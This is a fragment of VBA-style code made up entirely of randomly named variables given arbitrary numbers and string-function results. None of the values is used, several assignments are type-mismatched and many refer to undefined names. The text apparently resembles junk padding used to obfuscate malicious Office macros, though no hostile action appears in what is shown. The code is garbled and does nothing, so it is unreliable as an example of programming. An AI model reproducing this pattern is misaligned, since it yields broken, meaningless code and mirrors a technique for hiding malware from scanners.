Dim UPxo8 As Byte
UPxo8 = 11
Dim fcBDykoI As String
fcBDykoI = RTrim(YaJigwp0l)
Dim ML8Va As Double
ML8Va = Sgn(39535.467858116)
Dim mWp4gM As Integer
mWp4gM = Sgn(-8396)
Dim R3kKQtTz As Byte
R3kKQtTz = 49
Dim nbvJ47RLS As Byte
nbvJ47RLS = 109
Dim iNWszHt1T As Single
iNWszHt1T = 39965.771423462
'
Dim JH5VXqt As String
JH5VXqt = Val(nWAgw329a)
Dim vdT5o As Integer
vdT5o = Sgn(15290)
Dim FQX96Y As Byte
FQX96Y = 242
Dim CfWmu As Long
CfWmu = 0
Dim wQKJAza As Integer
wQKJAza = Sgn(-7771)
Dim RfFwOU As Integer
RfFwOU = Sgn(-14290)
Dim d6RL2 As String
d6RL2 = Len(YNY8c5DRg)
Dim MvemYoIan As Integer
MvemYoIan = Sgn(14781)
Dim uT6b5 As Long
uT6b5 = -854529014
Dim LHRUczlbq As Byte
LHRUczlbq = 93
'
Dim UlTMCLa As Long
UlTMCLa = Sgn(0)
Dim ej5dXJN41 As Single
ej5dXJN41 = Sgn(42702.876064314)
Dim QXjyoQLU
QXjyoQLU = LTrim(PpeFtTD)
Dim SEO1al9I As Single
SEO1al9I = Val(51813.571337754)
Dim PfYHwQ7PJ As Byte
PfYHwQ7PJ = 78
Dim Oyikx As Integer
Oyikx = -27249
'

Dim d9JldoC As Single
d9JldoC = 45756.733296237
Dim M4nzqM5 As Long
M4nzqM5 = Sgn(0)
Dim OOpQ53KZ As Byte
OOpQ53KZ = 25
Dim j7fOWe2j8 As Long
j7fOWe2j8 = -1775477406
Dim CvPTiSOx As String
CvPTiSOx = Val(DfaRVdt)
Dim u2Xg4ht As String
u2Xg4ht = StrConv(mo3q0A, vbLowerCase)
Dim mbtdKHqS As Integer
mbtdKHqS = -21782
Dim Q0bfl6 As String
Q0bfl6 = Len(w6gndT)
Dim j9lcoHM8 As Integer
j9lcoHM8 = Sgn(18274)
Dim ioFcsP As String
ioFcsP = Len(A6Nrdvzyq)
Dim wtYf3z As Byte
wtYf3z = 127
Dim Fj2zKxEI As Boolean
Fj2zKxEI = True

Dim PB4zcX As Boolean
PB4zcX = False
Dim xNKj7 As Single
xNKj7 = Int(36324.12083754)
Dim grKgOFl5 As Double
grKgOFl5 = 22576.458900807
Dim VekadbrA As Long
VekadbrA = -1452298684
…